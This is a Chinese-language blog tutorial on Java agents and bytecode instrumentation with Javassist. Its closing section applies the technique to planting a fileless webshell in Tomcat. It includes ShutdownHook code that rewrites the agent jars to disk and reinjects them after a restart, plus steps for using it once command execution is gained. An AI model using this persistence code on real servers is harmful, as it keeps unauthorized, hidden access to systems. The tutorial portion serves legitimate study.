Java Instrumentation
java Instrumentation指的是可以用獨立於應用程序之外的代理(agent)程序來監測和協助運行在JVM上的應用程序。這種監測和協助包括但不限於獲取JVM運行時狀態,替換和修改類定義等。簡單一句話概括下:Java Instrumentation可以在JVM啟動后,動態修改已加載或者未加載的類,包括類的屬性、方法。
java agent技術原理及簡單實現 - kokov - 博客園 (cnblogs.com)
什么是java agent?
IDEA + maven 零基礎構建 java agent 項目 - 一灰灰Blog - 博客園 (cnblogs.com)
java agent本質上可以理解為一個插件,該插件就是一個精心提供的jar包,這個jar包通過JVMTI(JVM Tool Interface)完成加載,最終借助JPLISAgent(Java Programming Language Instrumentation Services Agent)完成對目標代碼的修改。
java agent技術的主要功能如下:
- 可以在加載java文件之前做攔截把字節碼做修改
- 可以在運行期將已經加載的類的字節碼做變更
- 還有其他的一些小眾的功能
- 獲取所有已經被加載過的類
- 獲取所有已經被初始化過了的類
- 獲取某個對象的大小
- 將某個jar加入到bootstrapclasspath里作為高優先級被bootstrapClassloader加載
- 將某個jar加入到classpath里供AppClassloard去加載
- 設置某些native方法的前綴,主要在查找native方法的時候做規則匹配
Instrument
(32條消息) ClassPool CtClass淺析_羅小輝的專欄-CSDN博客
instrument是JVM提供的一個可以修改已加載類的類庫,專門為Java語言編寫的插樁服務提供支持。它需要依賴JVMTI的Attach API機制實現。在JDK 1.6以前,instrument只能在JVM剛啟動開始加載類時生效,而在JDK 1.6之后,instrument支持了在運行時對類定義的修改。要使用instrument的類修改功能,我們需要實現它提供的ClassFileTransformer接口,定義一個類文件轉換器。接口中的transform()方法會在類文件被加載時調用,而在transform方法里,我們可以利用ASM或Javassist對傳入的字節碼進行改寫或替換,生成新的字節碼數組后返回。
總之,transform返回值為需要替換的class的字節碼。有兩種方法獲取字節碼,一種使用文件讀取的方式,直接讀取相應class文件的字節碼,還有一種使用Javaassist包,結合反射機制進行字節碼的替換。
我們來看一下第二種的示例代碼
SimpleAgent.java 作為Javagent去注入目標程序
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Method;
import java.util.LinkedList;
import java.util.List;
public class SimpleAgent {
/**
* jvm 參數形式啟動,運行此方法
*
* @param agentArgs
* @param inst
*/
private static String className = "com.company.BaseMain";
private static String methodName = "print";
public static void premain(String agentArgs, Instrumentation instrumentation) {
System.out.println("premain");
//instrumentation.addTransformer(new TestTransformer(className, methodName));
}
/**
* 動態 attach 方式啟動,運行此方法
*
* @param agentArgs
* @param instrumentation
*/
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
System.out.println("agentmain");
instrumentation.addTransformer(new TestTransformer(className, methodName),true);
try {
List<Class> needRetransFormClasses = new LinkedList<>();
Class[] loadedClass = instrumentation.getAllLoadedClasses();//獲取所有加載的類
for (Class c : loadedClass) {
//System.out.println(loadedClass[i].getName());
if (c.getName().equals(className)) {
System.out.println("---find!!!---");
Method[] methods = c.getDeclaredMethods();
for(Method method : methods)
{System.out.println(method.getName());}
instrumentation.retransformClasses(c);
}
}
} catch (Exception e) {
}
}
}
TestTransformer.java 替換目標類的函數
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.Modifier;
public class TestTransformer implements ClassFileTransformer {
//目標類名稱, .分隔
private String targetClassName;
//目標類名稱, /分隔
private String targetVMClassName;
private String targetMethodName;
public TestTransformer(String className,String methodName){
this.targetVMClassName = new String(className).replaceAll("\\.","\\/");
this.targetMethodName = methodName;
this.targetClassName=className;
}
//類加載時會執行該函數,其中參數 classfileBuffer為類原始字節碼,返回值為目標字節碼,className為/分隔
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//判斷類名是否為目標類名
if(!className.equals(targetVMClassName)){
System.out.println("not do transform");
return classfileBuffer;
}
try {
System.out.println("do transform");
ClassPool classPool = ClassPool.getDefault();
CtClass cls = classPool.get(this.targetClassName);
System.out.println(cls.getName());
CtMethod ctMethod = cls.getDeclaredMethod(this.targetMethodName);
System.out.println(ctMethod.getName());
ctMethod.insertBefore("{ System.out.println(\"start\"); }");
ctMethod.insertAfter("{ System.out.println(\"end\"); }");
return cls.toBytecode();
} catch (Exception e) {
}
return classfileBuffer;
}
}
參考鏈接IDEA + maven 零基礎構建 java agent 項目 - 一灰灰Blog - 博客園 (cnblogs.com),將他們打包。
編寫測試程序
BaseMain.java
package com.company;
public class BaseMain {
public int print(int i) {
System.out.println("i: " + i);
return i + 2;
}
public void run() {
int i = 1;
while (true) {
i = print(i);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) throws InterruptedException {
BaseMain main = new BaseMain();
main.run();
Thread.sleep(1000 * 60 * 60);
}
}
編寫注入程序 attachwithjps.java
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class attachwithjps {
public static void main(String[] args)
throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
// attach方法參數為目標應用程序的進程號,命令行使用jps -l可以查看相關jvm的進程號
VirtualMachine vm = VirtualMachine.attach(目標應用程序的進程號);
// 請用你自己的agent絕對地址,替換這個
vm.loadAgent("E:/內存馬/java-agent/target/java-agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.detach();
}
}
注入步驟:
- 運行被測試程序
- cmd 輸入jps -l 查找目標進程號
- 運行attach程序
運行結果
web應用注入--tomcat
要在tomcat中選擇類進行替換實現webshell,需要降低對url的依賴,在tomcat處理請求流程中選擇最通用的類。
如internalDoFilter,調用了dofilter,在此之前可以插入代碼對request和response作出操作。
具體代碼參考rebeyond師傅的
利用“進程注入”實現無文件復活 WebShell - FreeBuf網絡安全行業門戶
但是,一旦重啟tomcat,內存馬就會消失,失去目標服務器的權限。要實現服務器重啟后,仍能夠維持權限,必須要在服務器關閉前將相關代碼保存下來,在重啟時自動加載。這里rebeyond師傅使用了ShutdownHook技術.
ShutdownHook是JDK提供的一個用來在JVM關掉時清理現場的機制,這個鈎子可以在如下場景中被JVM調用:
1.程序正常退出
2.使用System.exit()退出
3.用戶使用Ctrl+C觸發的中斷導致的退出
4.用戶注銷或者系統關機
5.OutofMemory導致的退出
6.Kill pid命令導致的退出所以ShutdownHook可以很好的保證在tomcat關閉時,我們有機會埋下復活的種子
相關代碼
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar",Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
JVM關閉前,會先調用writeFiles把inject.jar和agent.jar寫到磁盤上,然后調用startInject,startInject通過Runtime.exec啟動java -jar inject.jar。
應用:在有能夠進行命令執行的情況下,上傳agent.jar與需要注入的jar。而后運行agent.jar對其進行注入即可。